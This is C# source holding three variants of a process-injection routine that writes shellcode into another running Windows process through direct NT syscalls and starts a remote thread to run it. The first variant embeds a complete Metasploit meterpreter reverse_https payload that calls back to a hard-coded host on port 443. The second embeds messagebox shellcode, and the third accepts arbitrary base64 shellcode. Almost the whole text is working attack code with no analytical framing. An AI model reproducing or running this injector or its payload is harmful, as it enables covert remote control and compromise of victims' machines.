public static unsafe int Inject(string processName, string os, int method)
{
Process targetProcess = Process.GetProcessesByName(processName)[0];
int id = targetProcess.Id;
Console.WriteLine("Injecting shellcode on pid " + id);
//msfvenom payload = msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.49.83 LPORT=443 -f csharp
byte[] shellcode = new byte[652] {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x51, 0x56, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x4d, 0x31, 0xc9, 0x48, 0x0f, 0xb7, 0x4a, 0x4a,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x0f, 0x85, 0x72, 0x00, 0x00, 0x00, 0x8b,
0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x8b, 0x48,
0x18, 0x44, 0x8b, 0x40, 0x20, 0x50, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x4d,
0x31, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1,
0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45,
0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b,
0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x41, 0x58,
0x41, 0x58, 0x5e, 0x59, 0x48, 0x01, 0xd0, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48,
0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9,
0x4b, 0xff, 0xff, 0xff, 0x5d, 0x48, 0x31, 0xdb, 0x53, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69,
0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x48, 0x89, 0xe1, 0x49, 0xc7, 0xc2, 0x4c, 0x77, 0x26,
0x07, 0xff, 0xd5, 0x53, 0x53, 0x48, 0x89, 0xe1, 0x53, 0x5a, 0x4d, 0x31, 0xc0, 0x4d, 0x31,
0xc9, 0x53, 0x53, 0x49, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5,
0xe8, 0x0e, 0x00, 0x00, 0x00, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x34, 0x39,
0x2e, 0x38, 0x33, 0x00, 0x5a, 0x48, 0x89, 0xc1, 0x49, 0xc7, 0xc0, 0xbb, 0x01, 0x00, 0x00,
0x4d, 0x31, 0xc9, 0x53, 0x53, 0x6a, 0x03, 0x53, 0x49, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0x00,
0x00, 0x00, 0x00, 0xff, 0xd5, 0xe8, 0x63, 0x00, 0x00, 0x00, 0x2f, 0x32, 0x65, 0x4d, 0x57,
0x59, 0x36, 0x74, 0x66, 0x36, 0x36, 0x75, 0x58, 0x77, 0x70, 0x62, 0x41, 0x79, 0x42, 0x66,
0x6a, 0x50, 0x51, 0x6e, 0x61, 0x6d, 0x56, 0x51, 0x63, 0x57, 0x31, 0x4e, 0x57, 0x33, 0x6a,
0x2d, 0x71, 0x34, 0x6e, 0x32, 0x50, 0x45, 0x4b, 0x4e, 0x45, 0x68, 0x4a, 0x51, 0x4f, 0x33,
0x45, 0x6a, 0x4d, 0x6e, 0x61, 0x57, 0x48, 0x4f, 0x6a, 0x75, 0x73, 0x53, 0x6b, 0x51, 0x6c,
0x5a, 0x64, 0x68, 0x32, 0x44, 0x32, 0x6e, 0x62, 0x69, 0x73, 0x76, 0x73, 0x61, 0x73, 0x57,
0x77, 0x7a, 0x4b, 0x33, 0x79, 0x33, 0x52, 0x4a, 0x39, 0x4f, 0x5a, 0x65, 0x48, 0x6c, 0x4c,
0x66, 0x6a, 0x6d, 0x00, 0x48, 0x89, 0xc1, 0x53, 0x5a, 0x41, 0x58, 0x4d, 0x31, 0xc9, 0x53,
0x48, 0xb8, 0x00, 0x32, 0xa8, 0x84, 0x00, 0x00, 0x00, 0x00, 0x50, 0x53, 0x53, 0x49, 0xc7,
0xc2, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x6a, 0x0a, 0x5f, 0x48, 0x89,
0xf1, 0x6a, 0x1f, 0x5a, 0x52, 0x68, 0x80, 0x33, 0x00, 0x00, 0x49, 0x89, 0xe0, 0x6a, 0x04,
0x41, 0x59, 0x49, 0xba, 0x75, 0x46, 0x9e, 0x86, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x4d,
0x31, 0xc0, 0x53, 0x5a, 0x48, 0x89, 0xf1, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xc9, 0x53, 0x53,
0x49, 0xc7, 0xc2, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x75, 0x1f, 0x48, 0xc7,
0xc1, 0x88, 0x13, 0x00, 0x00, 0x49, 0xba, 0x44, 0xf0, 0x35, 0xe0, 0x00, 0x00, 0x00, 0x00,
0xff, 0xd5, 0x48, 0xff, 0xcf, 0x74, 0x02, 0xeb, 0xaa, 0xe8, 0x55, 0x00, 0x00, 0x00, 0x53,
0x59, 0x6a, 0x40, 0x5a, 0x49, 0x89, 0xd1, 0xc1, 0xe2, 0x10, 0x49, 0xc7, 0xc0, 0x00, 0x10,
0x00, 0x00, 0x49, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48,
0x93, 0x53, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0,
0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x49, 0xba, 0x12, 0x96, 0x89, 0xe2, 0x00, 0x00,
0x00, 0x00, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb2, 0x66, 0x8b, 0x07,
0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd2, 0x58, 0xc3, 0x58, 0x6a, 0x00, 0x59, 0x49, 0xc7,
0xc2, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5
};
nativeStructs.CLIENT_ID clientid = new nativeStructs.CLIENT_ID();
clientid.UniqueProcess = new IntPtr(id);
clientid.UniqueThread = IntPtr.Zero;
IntPtr bufferReal = IntPtr.Zero;
IntPtr procHandle = IntPtr.Zero;
syscalls.ZwOpenProcess(ref procHandle, nativeStructs.ProcessAccessFlags.All, new nativeStructs.OBJECT_ATTRIBUTES(), ref clientid, os);
IntPtr remoteAddr = new IntPtr();
switch (method)
{
case ALLOCWRITE:
Console.WriteLine("[+] Using ALLOCWRITE method to allocate our shellcode in the remote process");
UIntPtr sz = new UIntPtr(Convert.ToUInt32(shellcode.Length));
syscalls.NtAllocateVirtualMemory(procHandle, ref remoteAddr, new IntPtr(0), ref sz, nativeStructs.MEM_COMMIT | nativeStructs.MEM_RESERVE, nativeStructs.PAGE_EXECUTE_READWRITE, os);
IntPtr written = IntPtr.Zero;
IntPtr unmanagedPointer = Marshal.AllocHGlobal(shellcode.Length);
Marshal.Copy(shellcode, 0, unmanagedPointer, shellcode.Length);
syscalls.ZwWriteVirtualMemory(procHandle, ref remoteAddr, unmanagedPointer, Convert.ToUInt32(shellcode.Length), ref written, os);
break;
case OPENSEC:
Console.WriteLine("[+] Using OPENSEC method to allocate our shellcode in the remote process");
//create required structs/variables
IntPtr localAddr = new IntPtr(null);
Process thisProc = Process.GetCurrentProcess();
nativeStructs.LARGE_INTEGER liVal = new nativeStructs.LARGE_INTEGER();
uint size_ = getLowPart((uint)shellcode.Length);
liVal.LowPart = size_;
//create local section
IntPtr section_ = new IntPtr();
IntPtr viewSize = (IntPtr)(shellcode.Length);
long status = (int)syscalls.NtCreateSection(ref section_, 0x10000000, (IntPtr)0, ref liVal, nativeStructs.PAGE_EXECUTE_READWRITE, 0x08000000, (IntPtr)0, os);
//map local section
status = (int)syscalls.NtMapViewOfSection(section_, thisProc.Handle, ref localAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os);
//map remote section
status = (int)syscalls.NtMapViewOfSection(section_, procHandle, ref remoteAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os);
//copy shellcode to local section
Marshal.Copy(shellcode, 0, localAddr, shellcode.Length);
break;
}
//bool is64bit = Environment.Is64BitProcess;
int temp1 = 0, temp2 = 0;
nativeStructs.NtCreateThreadExBuffer nb = new nativeStructs.NtCreateThreadExBuffer
{
Size = sizeof(nativeStructs.NtCreateThreadExBuffer),
Unknown1 = 0x10003,
Unknown2 = 0x8,
Unknown3 = new IntPtr(&temp2),
Unknown4 = 0,
Unknown5 = 0x10004,
Unknown6 = 4,
Unknown7 = new IntPtr(&temp1),
Unknown8 = 0,
};
IntPtr hRemoteThread;
//syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, buffer, IntPtr.Zero, 0, 0, (is64bit ? 0xFFFF : 0u), (is64bit ? 0xFFFF : 0u), (is64bit ? IntPtr.Zero : new IntPtr(&nb)), os);
//if OPENSEC then a thread is created in a remote process with the remote section addr as starting point.
//if ALLOCWRITE then a thread is created poiting to a memory address with our shellcode
syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, remoteAddr, IntPtr.Zero, 0, 0, 0xFFFF, 0xFFFF, IntPtr.Zero, os);
return(0);
}
public static unsafe int Inject(string processName, string os, int method)
{
Process targetProcess = Process.GetProcessesByName(processName)[0];
int id = targetProcess.Id;
Console.WriteLine("Injecting shellcode on pid " + id);
//msf messagebox x64
string s = @"/EiB5PD////o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii1IYPkiLUiA+SItyUD5ID7dKSk0xyUgxwKw8YXwCLCBBwckNQQHB4u1SQVE+SItSID6LQjxIAdA+i4CIAAAASIXAdG9IAdBQPotIGD5Ei0AgSQHQ41xI/8k+QYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18T5MA0wkCEU50XXWWD5Ei0AkSQHQZj5BiwxIPkSLQBxJAdA+QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVo+SIsS6Un///9dScfBAAAAAD5IjZX+AAAAPkyNhQMBAABIMclBukWDVgf/1UgxyUG68LWiVv/VZ2F0bwBNZXNzYWdlQm94AA==";
byte[] shellcode = Convert.FromBase64String(s);
nativeStructs.CLIENT_ID clientid = new nativeStructs.CLIENT_ID();
clientid.UniqueProcess = new IntPtr(id);
clientid.UniqueThread = IntPtr.Zero;
IntPtr bufferReal = IntPtr.Zero;
IntPtr procHandle = IntPtr.Zero;
syscalls.ZwOpenProcess(ref procHandle, nativeStructs.ProcessAccessFlags.All, new nativeStructs.OBJECT_ATTRIBUTES(), ref clientid, os);
IntPtr remoteAddr = new IntPtr();
switch (method)
{
case ALLOCWRITE:
Console.WriteLine("[+] Using ALLOCWRITE method to allocate our shellcode in the remote process");
UIntPtr sz = new UIntPtr(Convert.ToUInt32(shellcode.Length));
syscalls.NtAllocateVirtualMemory(procHandle, ref remoteAddr, new IntPtr(0), ref sz, nativeStructs.MEM_COMMIT | nativeStructs.MEM_RESERVE, nativeStructs.PAGE_EXECUTE_READWRITE, os);
IntPtr written = IntPtr.Zero;
IntPtr unmanagedPointer = Marshal.AllocHGlobal(shellcode.Length);
Marshal.Copy(shellcode, 0, unmanagedPointer, shellcode.Length);
syscalls.ZwWriteVirtualMemory(procHandle, ref remoteAddr, unmanagedPointer, Convert.ToUInt32(shellcode.Length), ref written, os);
break;
case OPENSEC:
Console.WriteLine("[+] Using OPENSEC method to allocate our shellcode in the remote process");
//create required structs/variables
IntPtr localAddr = new IntPtr(null);
Process thisProc = Process.GetCurrentProcess();
nativeStructs.LARGE_INTEGER liVal = new nativeStructs.LARGE_INTEGER();
uint size_ = getLowPart((uint)shellcode.Length);
liVal.LowPart = size_;
//create local section
IntPtr section_ = new IntPtr();
IntPtr viewSize = (IntPtr)(shellcode.Length);
long status = (int)syscalls.NtCreateSection(ref section_, 0x10000000, (IntPtr)0, ref liVal, nativeStructs.PAGE_EXECUTE_READWRITE, 0x08000000, (IntPtr)0, os);
//map local section
status = (int)syscalls.NtMapViewOfSection(section_, thisProc.Handle, ref localAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os);
//map remote section
status = (int)syscalls.NtMapViewOfSection(section_, procHandle, ref remoteAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os);
//copy shellcode to local section
Marshal.Copy(shellcode, 0, localAddr, shellcode.Length);
break;
}
//bool is64bit = Environment.Is64BitProcess;
int temp1 = 0, temp2 = 0;
nativeStructs.NtCreateThreadExBuffer nb = new nativeStructs.NtCreateThreadExBuffer
{
Size = sizeof(nativeStructs.NtCreateThreadExBuffer),
Unknown1 = 0x10003,
Unknown2 = 0x8,
Unknown3 = new IntPtr(&temp2),
Unknown4 = 0,
Unknown5 = 0x10004,
Unknown6 = 4,
Unknown7 = new IntPtr(&temp1),
Unknown8 = 0,
};
IntPtr hRemoteThread;
//syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, buffer, IntPtr.Zero, 0, 0, (is64bit ? 0xFFFF : 0u), (is64bit ? 0xFFFF : 0u), (is64bit ? IntPtr.Zero : new IntPtr(&nb)), os);
//if OPENSEC then a thread is created in a remote process with the remote section addr as starting point.
//if ALLOCWRITE then a thread is created poiting to a memory address with our shellcode
syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, remoteAddr, IntPtr.Zero, 0, 0, 0xFFFF, 0xFFFF, IntPtr.Zero, os);
return(0);
}
public static unsafe int Inject(string shellcode_base64, string processName, string os, int method)
{
Process targetProcess = Process.GetProcessesByName(processName)[0];
int id = targetProcess.Id;
Console.WriteLine("[+] Injecting shellcode on pid " + id);
string s = shellcode_base64;
byte[] shellcode = Convert.FromBase64String(s);
nativeStructs.CLIENT_ID clientid = new nativeStructs.CLIENT_ID();
clientid.UniqueProcess = new IntPtr(id);
clientid.UniqueThread = IntPtr.Zero;
IntPtr bufferReal = IntPtr.Zero;
IntPtr procHandle = IntPtr.Zero;
syscalls.ZwOpenProcess10(ref procHandle, nativeStructs.ProcessAccessFlags.All, new nativeStructs.OBJECT_ATTRIBUTES(), ref clientid, os);
IntPtr remoteAddr = new IntPtr();
switch (method)
{
case ALLOCWRITE:
Console.WriteLine("[+] Using ALLOCWRITE method to allocate our shellcode in the remote process");
UIntPtr sz = new UIntPtr(Convert.ToUInt32(shellcode.Length));
syscalls.NtAllocateVirtualMemory10(procHandle, ref remoteAddr, new IntPtr(0), ref sz, nativeStructs.MEM_COMMIT | nativeStructs.MEM_RESERVE, nativeStructs.PAGE_EXECUTE_READWRITE, os);
IntPtr written = IntPtr.Zero;
IntPtr unmanagedPointer = Marshal.AllocHGlobal(shellcode.Length);
Marshal.Copy(shellcode, 0, unmanagedPointer, shellcode.Length);
syscalls.ZwWriteVirtualMemory10(procHandle, ref remoteAddr, unmanagedPointer, Convert.ToUInt32(shellcode.Length), ref written, os);
break;
case OPENSEC:
Console.WriteLine("[+] Using OPENSEC method to allocate our shellcode in the remote process");
//create required structs/variables
IntPtr localAddr = new IntPtr(null);
Process thisProc = Process.GetCurrentProcess();
nativeStructs.LARGE_INTEGER liVal = new nativeStructs.LARGE_INTEGER();
uint size_ = getLowPart((uint)shellcode.Length);
liVal.LowPart = size_;
//create local section
IntPtr section_ = new IntPtr();
IntPtr viewSize = (IntPtr)(shellcode.Length);
long status = (int)syscalls.NtCreateSection(ref section_, 0x10000000, (IntPtr)0, ref liVal, nativeStructs.PAGE_EXECUTE_READWRITE, 0x08000000, (IntPtr)0, os);
//map local section
status = (int)syscalls.NtMapViewOfSection(section_, thisProc.Handle, ref localAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os);
//map remote section
status = (int)syscalls.NtMapViewOfSection(section_, procHandle, ref remoteAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os);
//copy shellcode to local section
Marshal.Copy(shellcode, 0, localAddr, shellcode.Length);
break;
}
//bool is64bit = Environment.Is64BitProcess;
int temp1 = 0, temp2 = 0;
nativeStructs.NtCreateThreadExBuffer nb = new nativeStructs.NtCreateThreadExBuffer
{
Size = sizeof(nativeStructs.NtCreateThreadExBuffer),
Unknown1 = 0x10003,
Unknown2 = 0x8,
Unknown3 = new IntPtr(&temp2),
Unknown4 = 0,
Unknown5 = 0x10004,
Unknown6 = 4,
Unknown7 = new IntPtr(&temp1),
Unknown8 = 0,
};
IntPtr hRemoteThread;
//syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, buffer, IntPtr.Zero, 0, 0, (is64bit ? 0xFFFF : 0u), (is64bit ? 0xFFFF : 0u), (is64bit ? IntPtr.Zero : new IntPtr(&nb)), os);
//if OPENSEC then a thread is created in a remote process with the remote section addr as starting point.
//if ALLOCWRITE then a thread is created poiting to a memory address with our shellcode
syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, remoteAddr, IntPtr.Zero, 0, 0, 0xFFFF, 0xFFFF, IntPtr.Zero, os);
return(0);
}
